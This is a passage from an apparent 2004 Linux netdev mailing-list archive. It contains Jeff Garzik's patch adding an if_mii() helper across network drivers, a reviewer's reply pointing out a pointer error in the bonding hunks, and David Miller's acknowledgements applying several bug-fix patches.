+1671,7 @@ else { spin_lock_irq(&np->lock); - rc = generic_mii_ioctl(&np->mii_if, data, cmd, NULL); + rc = generic_mii_ioctl(&np->mii_if, if_mii(rq), cmd, NULL); spin_unlock_irq(&np->lock); } switch (cmd) { ===== drivers/net/sungem.c 1.53 vs edited ===== --- 1.53/drivers/net/sungem.c 2004-03-14 01:54:58 -05:00 +++ edited/drivers/net/sungem.c 2004-05-29 13:15:51 -04:00 @@ -2510,7 +2510,7 @@ static int gem_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) { struct gem *gp = dev->priv; - struct mii_ioctl_data *data = (struct mii_ioctl_data *)&ifr->ifr_data; + struct mii_ioctl_data *data = if_mii(ifr); int rc = -EOPNOTSUPP; /* Hold the PM semaphore while doing ioctl's or we may collide ===== drivers/net/tg3.c 1.179 vs edited ===== --- 1.179/drivers/net/tg3.c 2004-05-25 16:06:06 -04:00 +++ edited/drivers/net/tg3.c 2004-05-29 13:16:00 -04:00 @@ -6678,7 +6678,7 @@ static int tg3_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) { - struct mii_ioctl_data *data = (struct mii_ioctl_data *)&ifr->ifr_data; + struct mii_ioctl_data *data = if_mii(ifr); struct tg3 *tp = netdev_priv(dev); int err; ===== drivers/net/tlan.c 1.32 vs edited ===== --- 1.32/drivers/net/tlan.c 2004-05-15 02:11:57 -04:00 +++ edited/drivers/net/tlan.c 2004-05-29 13:16:07 -04:00 @@ -984,7 +984,7 @@ static int TLan_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { TLanPrivateInfo *priv = dev->priv; - struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; + struct mii_ioctl_data *data = if_mii(rq); u32 phy = priv->phy[priv->phyNum]; if (!priv->phyOnline) ===== drivers/net/via-rhine.c 1.57 vs edited ===== --- 1.57/drivers/net/via-rhine.c 2004-05-23 10:42:27 -04:00 +++ edited/drivers/net/via-rhine.c 2004-05-29 13:16:17 -04:00 @@ -1875,14 +1875,13 @@ static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { struct rhine_private *rp = netdev_priv(dev); - struct mii_ioctl_data *data = (struct mii_ioctl_data *) & rq->ifr_data; int rc; if (!netif_running(dev)) return -EINVAL; spin_lock_irq(&rp->lock); - rc = generic_mii_ioctl(&rp->mii_if, data, cmd, NULL); + rc = generic_mii_ioctl(&rp->mii_if, if_mii(rq), cmd, NULL); spin_unlock_irq(&rp->lock); return rc; ===== drivers/net/yellowfin.c 1.29 vs edited ===== --- 1.29/drivers/net/yellowfin.c 2004-03-14 01:54:58 -05:00 +++ edited/drivers/net/yellowfin.c 2004-05-29 13:16:24 -04:00 @@ -1433,7 +1433,7 @@ { struct yellowfin_private *np = dev->priv; long ioaddr = dev->base_addr; - struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; + struct mii_ioctl_data *data = if_mii(rq); switch(cmd) { case SIOCETHTOOL: ===== drivers/net/bonding/bond_main.c 1.81 vs edited ===== --- 1.81/drivers/net/bonding/bond_main.c 2004-02-18 22:42:38 -05:00 +++ edited/drivers/net/bonding/bond_main.c 2004-05-29 13:55:04 -04:00 @@ -1103,7 +1103,7 @@ /* Yes, the mii is overlaid on the ifreq.ifr_ifru */ strncpy(ifr.ifr_name, slave_dev->name, IFNAMSIZ); - mii = (struct mii_ioctl_data *)&ifr.ifr_data; + mii = if_mii(&ifr); if (IOCTL(slave_dev, &ifr, SIOCGMIIPHY) == 0) { mii->reg_num = MII_BMSR; if (IOCTL(slave_dev, &ifr, SIOCGMIIREG) == 0) { @@ -3680,7 +3680,7 @@ case SIOCETHTOOL: return bond_ethtool_ioctl(bond_dev, ifr); case SIOCGMIIPHY: - mii = (struct mii_ioctl_data *)&ifr->ifr_data; + mii = if_mii(&ifr); if (!mii) { return -EINVAL; } @@ -3691,7 +3691,7 @@ * We do this again just in case we were called by SIOCGMIIREG * instead of SIOCGMIIPHY. */ - mii = (struct mii_ioctl_data *)&ifr->ifr_data; + mii = if_mii(&ifr); if (!mii) { return -EINVAL; } ===== drivers/net/e1000/e1000_main.c 1.116 vs edited ===== --- 1.116/drivers/net/e1000/e1000_main.c 2004-05-25 04:51:31 -04:00 +++ edited/drivers/net/e1000/e1000_main.c 2004-05-29 13:55:13 -04:00 @@ -2503,7 +2503,7 @@ e1000_mii_ioctl(struct net_device *netdev, struct ifreq *ifr, int cmd) { struct e1000_adapter *adapter = netdev->priv; - struct mii_ioctl_data *data = (struct mii_ioctl_data *)&ifr->ifr_data; + struct mii_ioctl_data *data = if_mii(ifr); int retval; uint16_t mii_reg; uint16_t spddplx; ===== drivers/net/pcmcia/smc91c92_cs.c 1.30 vs edited ===== --- 1.30/drivers/net/pcmcia/smc91c92_cs.c 2004-03-07 20:26:49 -05:00 +++ edited/drivers/net/pcmcia/smc91c92_cs.c 2004-05-29 13:55:22 -04:00 @@ -2221,7 +2221,7 @@ u_short saved_bank; ioaddr_t ioaddr = dev->base_addr; - mii = (struct mii_ioctl_data *) &rq->ifr_data; + mii = if_mii(rq); if (!netif_running(dev)) return -EINVAL; ===== drivers/net/tulip/tulip_core.c 1.60 vs edited ===== --- 1.60/drivers/net/tulip/tulip_core.c 2004-05-27 14:04:54 -04:00 +++ edited/drivers/net/tulip/tulip_core.c 2004-05-29 13:55:30 -04:00 @@ -859,7 +859,7 @@ { struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; - struct mii_ioctl_data *data = (struct mii_ioctl_data *) & rq->ifr_data; + struct mii_ioctl_data *data = if_mii(rq); const unsigned int phy_idx = 0; int phy = tp->phys[phy_idx] & 0x1f; unsigned int regnum = data->reg_num; ===== drivers/net/tulip/winbond-840.c 1.41 vs edited ===== --- 1.41/drivers/net/tulip/winbond-840.c 2004-05-27 12:52:00 -04:00 +++ edited/drivers/net/tulip/winbond-840.c 2004-05-29 13:55:44 -04:00 @@ -1526,8 +1526,8 @@ static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; - struct netdev_private *np = dev->priv; + struct mii_ioctl_data *data = if_mii(rq); + struct netdev_private *np = netdev_priv(dev); switch(cmd) { case SIOCGMIIPHY: /* Get address of MII PHY in use. */ ===== drivers/s390/net/qeth_main.c 1.5 vs edited ===== --- 1.5/drivers/s390/net/qeth_main.c 2004-05-19 12:03:02 -04:00 +++ edited/drivers/s390/net/qeth_main.c 2004-05-29 13:56:15 -04:00 @@ -4478,11 +4478,11 @@ case SIOC_QETH_GET_CARD_TYPE: break; case SIOCGMIIPHY: - mii_data = (struct mii_ioctl_data *) &rq->ifr_ifru.ifru_data; + mii_data = if_mii(rq); mii_data->phy_id = 0; break; case SIOCGMIIREG: - mii_data = (struct mii_ioctl_data *) &rq->ifr_ifru.ifru_data; + mii_data = if_mii(rq); if (mii_data->phy_id != 0) rc = -EINVAL; else @@ -4497,7 +4497,7 @@ rc = -EPERM; break; } - mii_data = (struct mii_ioctl_data *) &rq->ifr_ifru.ifru_data; + mii_data = if_mii(rq); if (mii_data->phy_id != 0) rc = -EINVAL; else ===== drivers/usb/net/usbnet.c 1.93 vs edited ===== --- 1.93/drivers/usb/net/usbnet.c 2004-05-18 11:56:54 -04:00 +++ edited/drivers/usb/net/usbnet.c 2004-05-29 13:56:31 -04:00 @@ -2668,9 +2668,7 @@ struct usbnet *dev = (struct usbnet *)net->priv; if (dev->mii.mdio_read != NULL && dev->mii.mdio_write != NULL) - return generic_mii_ioctl(&dev->mii, - (struct mii_ioctl_data *) &rq->ifr_data, - cmd, NULL); + return generic_mii_ioctl(&dev->mii, if_mii(rq), cmd, NULL); } #endif return -EOPNOTSUPP; ===== include/linux/mii.h 1.10 vs edited ===== --- 1.10/include/linux/mii.h 2002-09-29 04:16:54 -04:00 +++ edited/include/linux/mii.h 2004-05-29 14:00:20 -04:00 @@ -9,6 +9,7 @@ #define __LINUX_MII_H__ #include +#include /* Generic MII registers. */ @@ -142,6 +143,12 @@ u16 val_in; u16 val_out; }; + + +static inline struct mii_ioctl_data *if_mii(struct ifreq *rq) +{ + return (struct mii_ioctl_data *) &rq->ifr_ifru; +} /** --------------060107040802050700030303-- From schwab@suse.de Sat May 29 12:22:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 12:22:07 -0700 (PDT) Received: from Cantor.suse.de (cantor.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TJLqgi012729 for ; Sat, 29 May 2004 12:21:53 -0700 Received: from hermes.suse.de (hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 4560E644345; Sat, 29 May 2004 20:31:19 +0200 (CEST) To: Jeff Garzik Cc: Netdev , Linux Kernel , Andrew Morton , "David S. Miller" , Al Viro , Arjan van de Ven , Linus Torvalds Subject: Re: [PATCH] remove net driver ugliness that sparse complains about References: <40B8D2F8.6090905@pobox.com> From: Andreas Schwab X-Yow: Did I SELL OUT yet?? Date: Sat, 29 May 2004 20:31:17 +0200 In-Reply-To: <40B8D2F8.6090905@pobox.com> (Jeff Garzik's message of "Sat, 29 May 2004 14:14:16 -0400") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4TJLqgi012729 X-archive-position: 5451 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: schwab@suse.de Precedence: bulk X-list: netdev Jeff Garzik writes: > @@ -3680,7 +3680,7 @@ > case SIOCETHTOOL: > return bond_ethtool_ioctl(bond_dev, ifr); > case SIOCGMIIPHY: > - mii = (struct mii_ioctl_data *)&ifr->ifr_data; > + mii = if_mii(&ifr); > if (!mii) { > return -EINVAL; > } > @@ -3691,7 +3691,7 @@ > * We do this again just in case we were called by SIOCGMIIREG > * instead of SIOCGMIIPHY. > */ > - mii = (struct mii_ioctl_data *)&ifr->ifr_data; > + mii = if_mii(&ifr); These two look wrong, too many &. Andreas. -- Andreas Schwab, SuSE Labs, schwab@suse.de SuSE Linux AG, Maxfeldstraße 5, 90409 Nürnberg, Germany Key fingerprint = 58CA 54C7 6D53 942B 1756 01D3 44D5 214B 8276 4ED5 "And now for something completely different." From davem@redhat.com Sat May 29 12:35:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 12:35:10 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TJZ7gi013354 for ; Sat, 29 May 2004 12:35:07 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4TJYwi5014349; Sat, 29 May 2004 15:34:58 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4TJYw017453; Sat, 29 May 2004 15:34:58 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.11/8.12.10) with SMTP id i4TJYpqF023393; Sat, 29 May 2004 15:34:52 -0400 Date: Sat, 29 May 2004 12:34:41 -0700 From: "David S. Miller" To: Herbert Xu Cc: netdev@oss.sgi.com Subject: Re: [PFKEY] Set family for state selector Message-Id: <20040529123441.567895c1.davem@redhat.com> In-Reply-To: <20040527104445.GA24976@gondor.apana.org.au> References: <20040527104445.GA24976@gondor.apana.org.au> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5452 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 27 May 2004 20:44:45 +1000 Herbert Xu wrote: > As the comment in the code suggests, nobody really uses this so nobody > will notice the difference :) Still, let's make it correct while we're > at it. Applied, thanks Herbert. From davem@redhat.com Sat May 29 12:36:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 12:36:36 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TJaXgi013608 for ; Sat, 29 May 2004 12:36:34 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4TJaUi5014621; Sat, 29 May 2004 15:36:30 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4TJaU017770; Sat, 29 May 2004 15:36:30 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.11/8.12.10) with SMTP id i4TJaNP8023597; Sat, 29 May 2004 15:36:24 -0400 Date: Sat, 29 May 2004 12:36:13 -0700 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH] IFA_MAX sets wrong in rtnetlink.h Message-Id: <20040529123613.1264506a.davem@redhat.com> In-Reply-To: <20040528.182538.116783344.yoshfuji@linux-ipv6.org> References: <20040528.134802.953480362.yoshfuji@linux-ipv6.org> <20040527220756.7c41a55b.davem@redhat.com> <20040528.141200.564308976.yoshfuji@linux-ipv6.org> <20040528.182538.116783344.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4TJaXgi013608 X-archive-position: 5453 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 28 May 2004 18:25:38 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > Here's the patch for 2.6. Please apply on top of the Sirley's patch. Applied, thanks. From davem@redhat.com Sat May 29 12:37:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 12:37:58 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TJbtgi014011 for ; Sat, 29 May 2004 12:37:55 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4TJbsi5014912; Sat, 29 May 2004 15:37:54 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4TJbs018169; Sat, 29 May 2004 15:37:54 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.11/8.12.10) with SMTP id i4TJbljl024428; Sat, 29 May 2004 15:37:48 -0400 Date: Sat, 29 May 2004 12:37:37 -0700 From: "David S. Miller" To: Patrick McHardy Cc: netdev@oss.sgi.com Subject: Re: [PATCH]: Fix memory leak in ah6.c Message-Id: <20040529123737.57b3f6ef.davem@redhat.com> In-Reply-To: <40B71975.1080909@trash.net> References: <40B71975.1080909@trash.net> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5454 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 28 May 2004 12:50:29 +0200 Patrick McHardy wrote: > this patch fixes a memory leak in ah6.c. iph is not freed when > ipv6_clear_mutable_options fails. Applied. From davem@redhat.com Sat May 29 12:38:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 12:38:50 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TJckgi014339 for ; Sat, 29 May 2004 12:38:46 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4TJcki5014993; Sat, 29 May 2004 15:38:46 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4TJcj018345; Sat, 29 May 2004 15:38:45 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.11/8.12.10) with SMTP id i4TJcd6m024679; Sat, 29 May 2004 15:38:39 -0400 Date: Sat, 29 May 2004 12:38:29 -0700 From: "David S. Miller" To: Patrick McHardy Cc: netdev@oss.sgi.com Subject: Re: [PATCH]: Fix off-by-one in max protocol-type check Message-Id: <20040529123829.10778ffe.davem@redhat.com> In-Reply-To: <40B71ABD.5060600@trash.net> References: <40B71A1C.5080400@trash.net> <40B71ABD.5060600@trash.net> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5455 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 28 May 2004 12:55:57 +0200 Patrick McHardy wrote: > Patrick McHardy wrote: > > This patch fixes an off-by-one in inet_register_protosw and > > inet6_register_protosw. inetsw is an array of size SOCK_MAX, > > the check allows access to index SOCK_MAX. Patch applies > > to 2.4 and 2.6. > > Forgot the patch, sorry ;) Applied. From davem@redhat.com Sat May 29 12:39:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 12:39:57 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TJdtgi014666 for ; Sat, 29 May 2004 12:39:55 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4TJdti5015085; Sat, 29 May 2004 15:39:55 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4TJdt018570; Sat, 29 May 2004 15:39:55 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.11/8.12.10) with SMTP id i4TJdmJL024863; Sat, 29 May 2004 15:39:48 -0400 Date: Sat, 29 May 2004 12:39:38 -0700 From: "David S. Miller" To: Patrick McHardy Cc: netdev@oss.sgi.com Subject: Re: [PATCH]: Fix skb leak in igmpv3_newpack Message-Id: <20040529123938.27d913f3.davem@redhat.com> In-Reply-To: <40B71A62.6050008@trash.net> References: <40B71A62.6050008@trash.net> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5456 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 28 May 2004 12:54:26 +0200 Patrick McHardy wrote: > This patch fixes an skb-leak in igmpv3_newpack. skb isn't > freed when rt->rt_src == 0. Patch applies to 2.4 and 2.6. Applied to both trees, thanks. From davem@redhat.com Sat May 29 12:42:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 12:42:33 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TJgTgi015230 for ; Sat, 29 May 2004 12:42:30 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4TJgRi5015491; Sat, 29 May 2004 15:42:27 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4TJgQ019162; Sat, 29 May 2004 15:42:26 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.11/8.12.10) with SMTP id i4TJgK3m025478; Sat, 29 May 2004 15:42:20 -0400 Date: Sat, 29 May 2004 12:42:10 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] simplify netdev_sysfs_xxx if SYSFS is not configured Message-Id: <20040529124210.2eb8e7c7.davem@redhat.com> In-Reply-To: <20040528110332.2206b9ac@dell_ss3.pdx.osdl.net> References: <20040528110332.2206b9ac@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5457 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 28 May 2004 11:03:32 -0700 Stephen Hemminger wrote: > Don't need all the network sysfs code if CONFIG_SYSFS is not enabled. > Also: > * netdev_sysfs_unregister is declaration mismatch > * if netdev_sysfs_register fails print a warning. > Need to still mark it as registered so the unregister_netdevice works, > but we will probably end up leaking memory in that case. Applied, thanks. From davem@redhat.com Sat May 29 12:45:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 12:45:08 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TJj4gi015743 for ; Sat, 29 May 2004 12:45:05 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4TJf2i5015331; Sat, 29 May 2004 15:41:02 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4TJf2018950; Sat, 29 May 2004 15:41:02 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.11/8.12.10) with SMTP id i4TJeuAP025305; Sat, 29 May 2004 15:40:56 -0400 Date: Sat, 29 May 2004 12:40:46 -0700 From: "David S. Miller" To: Patrick McHardy Cc: netdev@oss.sgi.com, jt@bougret.hpl.hp.com Subject: Re: [PATCH]: Fix NULL-ptr dereference in irlmp_get_saddr() Message-Id: <20040529124046.5ecd1c30.davem@redhat.com> In-Reply-To: <40B71AF2.2020503@trash.net> References: <40B71AF2.2020503@trash.net> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5458 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 28 May 2004 12:56:50 +0200 Patrick McHardy wrote: > This patch fixes a NULL-ptr dereference in irlmp_get_saddr. Applied. From davem@redhat.com Sat May 29 12:47:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 12:47:03 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TJl1gi016443 for ; Sat, 29 May 2004 12:47:01 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4TJkoi5016024; Sat, 29 May 2004 15:46:50 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4TJko019816; Sat, 29 May 2004 15:46:50 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.11/8.12.10) with SMTP id i4TJkh2X026395; Sat, 29 May 2004 15:46:44 -0400 Date: Sat, 29 May 2004 12:46:33 -0700 From: "David S. Miller" To: Herbert Xu Cc: ebs@ebshome.net, netdev@oss.sgi.com Subject: Re: [IPSEC] fix ref counting in __xfrm4_bundle_create() Message-Id: <20040529124633.713bd9f2.davem@redhat.com> In-Reply-To: References: <20040529001450.GA647@gate.ebshome.net> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5459 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 29 May 2004 13:27:13 +1000 Herbert Xu wrote: > Well spotted. Hopefully this should finally put an end to all these > xfrm_state bug reports :) > > However, can you see if the following patch fixes this problem as well? I'm applying this patch. If there is a fixup necessary, just let me know. From davem@redhat.com Sat May 29 12:49:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 12:49:07 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TJn4gi016793 for ; Sat, 29 May 2004 12:49:04 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4TJmpi5016436; Sat, 29 May 2004 15:48:51 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4TJmp020483; Sat, 29 May 2004 15:48:51 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.11/8.12.10) with SMTP id i4TJmhfv027158; Sat, 29 May 2004 15:48:44 -0400 Date: Sat, 29 May 2004 12:48:33 -0700 From: "David S. Miller" To: Herbert Xu Cc: debian.bugs@kepier.clara.net, 251215@bugs.debian.org, shemminger@osdl.org, jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: Bug#251215: kernel-image-2.6.6-1-k7: pppd locks up, cannot be killed, during ppp shutdown Message-Id: <20040529124833.5eca66d7.davem@redhat.com> In-Reply-To: <20040529051736.GA11303@gondor.apana.org.au> References: <20040528124355.GA2391@gondor.apana.org.au> <40B744DC.9956BF50@kepier.clara.net> 